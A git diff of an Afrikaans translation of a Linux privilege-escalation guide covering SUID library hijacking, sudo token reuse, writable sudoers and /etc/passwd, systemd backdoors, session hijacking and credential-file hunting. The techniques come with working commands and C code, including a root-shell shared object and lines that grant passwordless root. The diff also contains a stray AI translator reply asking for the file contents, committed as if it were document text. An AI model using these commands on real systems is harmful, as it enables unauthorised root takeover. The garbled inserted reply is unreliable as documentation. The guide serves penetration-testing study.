-Uiteindelik behoort die aangetasde SUID binary die exploit te aktiveer, wat 'n potensiële system compromise moontlik maak. +Laastens, die uitvoering van die geaffekteerde SUID-binary behoort die exploit te aktiveer, wat potensiële stelselkompromittering moontlik maak. ## Shared Object Hijacking ```bash @@ -928,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Nou dat ons 'n SUID binary gevind het wat 'n library laai vanaf 'n folder waarin ons kan write, kom ons skep die library in daardie folder met die nodige naam: +Nou dat ons 'n SUID binary gevind het wat 'n library vanaf 'n folder laai waarin ons kan skryf, kom ons skep die library in daardie folder met die nodige naam: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -941,17 +972,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -As jy 'n fout soos +As jy 'n fout kry soos ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -dit beteken dat die biblioteek wat jy gegenereer het 'n funksie met die naam `a_function_name` moet hê. +Dit beteken dat die biblioteek wat jy gegenereer het, 'n funksie genaamd `a_function_name` moet hê. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is 'n gekeurde lys van Unix-binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde maar vir gevalle waar jy **slegs argumente kan inject** in 'n opdrag. +[**GTFOBins**](https://gtfobins.github.io) is 'n gekuratoreerde lys van Unix-binaries wat deur 'n aanvaller misbruik kan word om plaaslike veiligheidsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente kan invoeg** in 'n opdrag. -Die projek versamel legitieme funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te verhoog of te behou, lêers oor te dra, bind en reverse shells te spawn, en ander post-exploitation take te vergemaklik. +Die projek versamel legitieme funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te eskaleer of te behou, lêers oor te dra, bind- en reverse-shells te skep, en ander post-exploitation take te vergemaklik. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -970,50 +1001,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +As jy toegang tot `sudo -l` het, kan jy die instrument [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit vind hoe om enige sudo-reël te eksploiteer. -### Hergebruik van sudo tokens +### Reusing Sudo Tokens -In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy voorregte verhoog deur **te wag vir 'n sudo-opdraguitvoering en dan die sessie-token te kap**. +In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy voorregte eskaleer deur **te wag vir 'n sudo-opdrag wat uitgevoer word en dan die sessie-token te kap**. Vereistes om voorregte te eskaleer: - Jy het reeds 'n shell as gebruiker "_sampleuser_" -- "_sampleuser_" het **`sudo` gebruik** om iets in die **laaste 15mins** uit te voer (by verstek is dit die duur van die sudo token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer) +- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15 minute** (standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder 'n wagwoord) - `cat /proc/sys/kernel/yama/ptrace_scope` is 0 - `gdb` is toeganklik (jy kan dit oplaai) -(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel) +(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of dit permanent maak deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +As al hierdie vereistes vervul is, **kan jy voorregte eskaleer deur:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om die sudo-token in jou sessie te **aktiveer** (jy kry nie outomaties 'n root-shell nie, doen `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Die **tweede exploit** (`exploit_v2.sh`) sal ’n sh shell in _/tmp_ skep wat deur root besit word met setuid. +- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep **wat aan root behoort met setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Die **derde exploit** (`exploit_v3.sh`) **sal 'n sudoers file skep** wat **sudo tokens ewigdurend maak en alle gebruikers toelaat om sudo te gebruik** +- Die **derde exploit** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo tokens ewig maak en alle gebruikers toelaat om sudo te gebruik** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -As jy **skryfpermissies** in die gids of op enige van die geskepte lêers binne die gids het, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om 'n **sudo token vir 'n gebruiker en PID te skep**.\ -Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **sudo privileges verkry** sonder om die wagwoord te ken deur: +Indien jy **skryfregte** het in die gids of op enige van die gemaakte lêers binne die gids, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **'n sudo token vir 'n gebruiker en PID te skep**.\ +Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **sudo-regte verkry** sonder om die wagwoord te ken deur dit te doen: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` konfigureer wie `sudo` kan gebruik en hoe. Hierdie lêers kan **standaard slegs deur gebruiker root en groep root gelees word**.\ -**As** jy hierdie lêer kan **lees**, kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf**, sal jy in staat wees om **escalate privileges**. +Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` bepaal wie `sudo` kan gebruik en hoe. Hierdie lêers **kan by verstek slegs deur gebruiker root en groep root gelees word**.\ +**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf** sal jy in staat wees om **escalate privileges** ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1023,7 +1054,7 @@ As jy kan skryf, kan jy hierdie toestemming misbruik. echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Nog 'n manier om hierdie permissions te misbruik: +Nog 'n manier om hierdie toestemmings te misbruik: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1032,15 +1063,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Daar is 'n paar alternatiewe vir die `sudo` binary soos `doas` vir OpenBSD; onthou om sy configuration by `/etc/doas.conf` na te gaan. +Daar is 'n paar alternatiewe vir die `sudo`-binêre, soos `doas` op OpenBSD. Onthou om sy konfigurasie by `/etc/doas.conf` na te gaan. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -As jy weet dat 'n **gebruiker gewoonlik op 'n masjien koppel en `sudo` gebruik** om voorregte te verhoog en jy het 'n shell binne daardie gebruiker-konteks, kan jy **'n nuwe sudo uitvoerbare** skep wat jou kode as root sal uitvoer en daarna die gebruiker se opdrag. Dan, **wysig die $PATH** van die gebruiker-konteks (byvoorbeeld deur die nuwe pad in `.bash_profile` by te voeg) sodat wanneer die gebruiker `sudo` uitvoer, jou sudo-uitvoerbare uitgevoer word. +Indien jy weet dat 'n **user gewoonlik op 'n machine aansluit en `sudo` gebruik** om privileges te eskaleer en jy 'n shell binne daardie user-konteks verkry het, kan jy **'n nuwe sudo-uitvoerbare** skep wat jou kode as root uitvoer en daarna die user se opdrag. Verander dan die **$PATH** van die user-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die user sudo uitvoer, jou sudo-uitvoerbare uitgevoer word. -Neem kennis dat as die gebruiker 'n ander shell (nie bash nie) gebruik, jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Let wel dat as die user 'n ander shell gebruik (nie bash nie) jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Of deur iets soos die volgende uit te voer: ```bash @@ -1057,16 +1088,17 @@ zsh echo $PATH sudo ls ``` -## Gedeelde biblioteek +## Gedeelde Biblioteek ### ld.so -Die lêer `/etc/ld.so.conf` dui aan **waarheen die gelaaide konfigurasielêers vandaan kom**. Tipies bevat hierdie lêer die volgende pad: `include /etc/ld.so.conf.d/*.conf` +Die lêer `/etc/ld.so.conf` dui aan **waar die gelaaide konfigurasielêers vandaan kom**. Tipies bevat hierdie lêer die volgende pad: `include /etc/ld.so.conf.d/*.conf` -Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **libraries** gaan gesoek word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel vir libraries binne `/usr/local/lib` sal soek**. +Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gesoek gaan word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel na biblioteke binne `/usr/local/lib` sal soek**. + +As om een of ander rede **'n gebruiker skryfpermissies het** op enige van die aangeduide paaie: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer wat in die konfigurasielêer `/etc/ld.so.conf.d/*.conf` genoem word, kan hy moontlik privilegies eskaleer.\ +Kyk na **hoe om hierdie wanconfigurasie uit te buit** op die volgende bladsy: -Indien om een of ander rede **a user has write permissions** op enige van die aangeduide paaie: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer in `/etc/ld.so.conf.d/*.conf` kan hy moontlik **escalate privileges**.\ -Kyk na **how to exploit this misconfiguration** op die volgende blad: {{#ref}} ld.so.conf-example.md @@ -1083,7 +1115,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH`-veranderlike. +Deur die lib in `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH`-veranderlike. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1105,44 +1137,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Vermoëns +## Capabilities -Linux capabilities verskaf 'n **substel van die beskikbare root-regte aan 'n proses**. Dit verdeel effektief root **regte in kleiner en onderskeibare eenhede**. Elke van hierdie eenhede kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel regte verminder, wat die risiko's van uitbuiting verlaag.\ -Lees die volgende bladsy om **meer te leer oor vermoëns en hoe om dit te misbruik**: +Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} linux-capabilities.md {{#endref}} -## Gids-toestemmings +## Gidspermissies -In 'n gids, die **bit vir "execute"** dui aan dat die betrokke gebruiker in die vouer kan "**cd**" into die folder.\ -Die **"read"** bit dui aan dat die gebruiker die **lêers** kan **lys**, en die **"write"** bit dui aan dat die gebruiker **lêers kan verwyder** en **nuwe lêers kan skep**. +In 'n gids impliseer die **bit vir "execute"** dat die gebruiker betroffen kan "**cd**" na die vouer.\ +Die **"read"** bit impliseer dat die gebruiker die **lêers** kan **lys**, en die **"write"** bit impliseer dat die gebruiker **lêers kan verwyder** en **nuwe lêers kan skep**. ## ACLs -Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, en is in staat om **die tradisionele ugo/rwx-permissies te oorheers**. Hierdie toestemmings verbeter beheer oor lêer- of gids-toegang deur spesifieke gebruikers wat nie eienaars is of deel van die groep is nie, regte toe te ken of te weier. Hierdie vlak van **granulariteit verseker meer presiese toegangsbestuur**. Verdere besonderhede kan gevind word [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings wat in staat is om die tradisionele ugo/rwx toestemmings te **oorheers**. Hierdie toestemmings verbeter beheer oor lêer- of gids-toegang deur die toekenning of ontkenning van regte aan spesifieke gebruikers wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **granulariteit verseker meer presiese toegangshantering**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Gee** gebruiker "kali" lees- en skryfregte oor 'n lêer: +**Gee** gebruiker "kali" lees- en skryftoestemmings oor 'n lêer: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Kry** lêers met spesifieke ACLs van die stelsel: +**Kry** lêers met spesifieke ACLs vanaf die stelsel: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Oop shell sessies +## Oop shell sessions -In **oude weergawes** kan jy 'n **shell** sessie van 'n ander gebruiker (**root**) **hijack**.\ -In **nuutste weergawes** sal jy slegs na screen sessies van **jou eie gebruiker** **connect**. Tog kan jy **interessante inligting binne die sessie** vind. +In **ou weergawes** kan jy **hijack** sommige **shell** session van 'n ander gebruiker (**root**).\ +In **nuutste weergawes** sal jy slegs na **screen** sessions van **jou eie gebruiker** kan **connect**. Jy kan egter **interessante inligting inside the session** vind. ### screen sessions hijacking -**Lys screen sessies** +**Lys screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1155,9 +1187,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessies hijacking +## tmux sessions hijacking -Dit was 'n probleem met **ou tmux-weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, as 'n nie-bevoorregte gebruiker hijack nie. +Dit was 'n probleem met **oue tmux-weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, as 'n nie-bevoorregte gebruiker hijack nie. **Lys tmux sessies** ```bash @@ -1177,125 +1209,132 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Kyk na **Valentine box from HTB** vir 'n voorbeeld. +Kyk na **Valentine box from HTB** vir ’n voorbeeld. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, etc) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak wees.\ -Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **as jy die ssh publieke sleutel het, kan jy die ooreenstemmende private sleutel soek**. Die berekende moontlikhede kan hier gevind word: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Hierdie fout ontstaan wanneer ’n nuwe ssh sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat alle moontlikhede bereken kan word en **met die ssh public key kan jy na die ooreenstemmende private key soek**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interessante konfigurasiewaardes -- **PasswordAuthentication:** Gee aan of wagwoordverifikasie toegelaat word. Die verstek is `no`. -- **PubkeyAuthentication:** Gee aan of publieke sleutelverifikasie toegelaat word. Die verstek is `yes`. -- **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat word, gee dit aan of die bediener toelaat dat daar op rekeninge met leë wagwoorde ingelog word. Die verstek is `no`. +- **PasswordAuthentication:** Bepaal of password authentication toegelaat word. Die verstek is `no`. +- **PubkeyAuthentication:** Bepaal of public key authentication toegelaat word. Die verstek is `yes`. +- **PermitEmptyPasswords**: Wanneer password authentication toegelaat word, bepaal dit of die server login na rekeninge met leë password strings toelaat. Die verstek is `no`. ### PermitRootLogin -Gee aan of root kan aanmeld met ssh, verstek is `no`. Moontlike waardes: +Bepaal of root kan aanmeld met ssh; die verstek is `no`. Moontlike waardes: -- `yes`: root kan aanmeld met wagwoord en private sleutel -- `without-password` or `prohibit-password`: root kan slegs met 'n private sleutel aanmeld -- `forced-commands-only`: Root kan slegs aanmeld met 'n private sleutel en as die commands-opsies gespesifiseer is -- `no` : nee +- `yes`: root kan aanmeld met password en private key +- `without-password` of `prohibit-password`: root kan slegs met 'n private key aanmeld +- `forced-commands-only`: root kan slegs aanmeld met 'n private key en indien die commands opsies gespesifiseer is +- `no`: geen ### AuthorizedKeysFile -Gee aan watter lêers die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die huisgids. **Jy kan absolute paaie aandui** (wat begin met `/`) of **relatiewe paaie vanaf die gebruiker se huisgids**. Byvoorbeeld: +Bepaal lêers wat die public keys bevat wat vir user authentication gebruik kan word. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die home directory. **Jy kan absolute paths aandui** (begin met `/`) of **relatiewe paths vanaf die gebruiker se home**. Byvoorbeeld: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Daardie konfigurasie sal aandui dat indien jy probeer aanmeld met die **privaat** sleutel van die gebruiker "**testusername**" gaan ssh die publieke sleutel van jou sleutel vergelyk met dié wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is +Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die **private** sleutel van die gebruiker "**testusername**" ssh die publieke sleutel van jou sleutel gaan vergelyk met dié in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding laat jou toe om **jou plaaslike SSH-sleutels te gebruik in plaas daarvan om sleutels** (sonder wagwoordfrases!) op jou server te laat lê. Dit beteken dat jy via ssh **na 'n host kan spring** en van daaruit **na 'n ander host kan spring** deur die **sleutel** te gebruik wat op jou **oorspronklike host** geleë is. +SSH agent forwarding laat jou toe om jou **use your local SSH keys instead of leaving keys** (without passphrases!) op jou bediener te laat staan. Dus sal jy in staat wees om via ssh na 'n host te jump en van daar na 'n ander host te jump terwyl jy die key gebruik wat op jou initial host geleë is. Jy moet hierdie opsie in `$HOME/.ssh.config` stel soos volg: ``` Host example.com ForwardAgent yes ``` -Let daarop dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie gasheer toegang tot die sleutels sal hê (wat 'n sekuriteitsprobleem is). +Let op dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat 'n sekuriteitsprobleem is). -Die lêer `/etc/ssh_config` kan hierdie opsies **oorheers** en hierdie konfigurasie toelaat of weier.\ -Die lêer `/etc/sshd_config` kan **toelaat** of **weier** ssh-agent forwarding met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat). +Die lêer `/etc/ssh_config` kan hierdie **opsies** **oorruil** en hierdie konfigurasie toelaat of weier.\ +Die lêer `/etc/sshd_config` kan ssh-agent forwarding **toelaat** of **weier** met die sleutelwoord `AllowAgentForwarding` (standaard is dit toegelaat). -As jy vind dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om privilegies te eskaleer**: +As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **jy dit dalk kan misbruik om voorregte te eskaleer**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interessante Lêers +## Interessante lêers ### Profiel-lêers -Die lêer `/etc/profile` en die lêers in `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enigeen daarvan kan **skryf of wysig, kan jy privilegies eskaleer**. +Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige van hulle kan **skryf of wysig, kan jy voorregte eskaleer**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -As 'n vreemde profielskrip gevind word, moet jy dit nagaan vir **gevoelige besonderhede**. +As enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**. -### Passwd/Shadow Lêers +### Passwd/Shadow Files -Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al hulle te vind** en **te kontroleer of jy hulle kan lees** om te sien **of daar hashes** in die lêers is: +Afhangende van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al hulle te vind** en **kontroleer of jy dit kan lees** om te sien **of daar hashes** binne die lêers is: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In sommige gevalle kan jy **password hashes** in die `/etc/passwd` (of gelykwaardige) lêer vind +In sommige gevalle kan jy **password hashes** binne die `/etc/passwd` (of 'n ekwivalent) lêer vind ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Skryfbare /etc/passwd +### Skryfbaar /etc/passwd -Eerstens, genereer 'n wagwoord met een van die volgende opdragte. +Eerstens, genereer 'n password met een van die volgende opdragte. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -I don’t have the contents of src/linux-hardening/privilege-escalation/README.md. Plak asseblief die README.md-inhoud (of die gedeeltes wat jy vertaal wil hê) hier, dan sal ek dit na Afrikaans vertaal en die sin "Then add the user `hacker` and add the generated password." (met `hacker` ongewysig) by die vertaalde README voeg. +I don't have the contents of src/linux-hardening/privilege-escalation/README.md. Please paste the README.md content you want translated. + +Also clarify how you want the "add the user `hacker` and add the generated password" represented in the translated file: +- Should I append a shell command snippet showing how to create the user and set the password (e.g. useradd + echo | chpasswd or chpasswd with sudo)? +- Or should I insert a plain-text line like "User: hacker, Password: " somewhere in the document? + +I can generate a strong password for you (e.g. 16 chars with letters, digits, symbols) to include in the translated README, but I cannot run commands or actually create the user on your system. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Byvoorbeeld: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Jy kan nou die `su`-opdrag gebruik met `hacker:hacker` -Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder 'n wagwoord by te voeg.\ WAARSKUWING: Jy mag die huidige sekuriteit van die masjien verswak. +Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder wagwoord by te voeg.\ +WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -LET OP: Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is `/etc/shadow` hernoem na `/etc/spwd.db`. +LET WEL: Op BSD-platforms word `/etc/passwd` gevind by `/etc/pwd.db` en `/etc/master.passwd`; ook is `/etc/shadow` hernoem na `/etc/spwd.db`. Jy moet nagaan of jy kan **skryf in sommige sensitiewe lêers**. Byvoorbeeld, kan jy skryf na 'n **dienskonfigurasielêer**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Byvoorbeeld, as die masjien 'n **tomcat** server loop en jy kan die **Tomcat service configuration file binne /etc/systemd/ wysig,** dan kan jy die reëls wysig: +Byvoorbeeld, as die masjien 'n **tomcat** server loop en jy kan **die Tomcat dienskonfigurasielêer binne /etc/systemd/ wysig,** dan kan jy die lyne wysig: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Jou backdoor sal uitgevoer word die volgende keer wat tomcat begin. +Jou backdoor sal uitgevoer word die volgende keer as tomcat gestart word. -### Kontroleer gidse +### Kontroleer vouers -Die volgende gidse kan rugsteunkopieë of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer dit) +Die volgende vouers kan backups of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Eienaardige ligging/Owned files +### Vreemde ligging/Owned lêers ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1312,7 +1351,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Gewysigde lêers in die afgelope minute +### Gewysigde lêers in die laaste minute ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1324,11 +1363,11 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Versteekte lêers +### Verborge lêers ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skripte/Binaries in PATH** +### **Skrip/Binêre lêers in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1346,18 +1385,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Bekende lêers wat passwords bevat -Lees die code van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat passwords kan bevat**.\ -**Nog 'n interessante tool** wat jy hiervoor kan gebruik is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie passwords wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, uit te onttrek. +Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat passwords kan bevat**.\ +**Nog 'n interessante tool** wat jy kan gebruik om dit te doen is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source aansoek is wat gebruik word om baie passwords wat op 'n lokale rekenaar gestoor is uit te haal vir 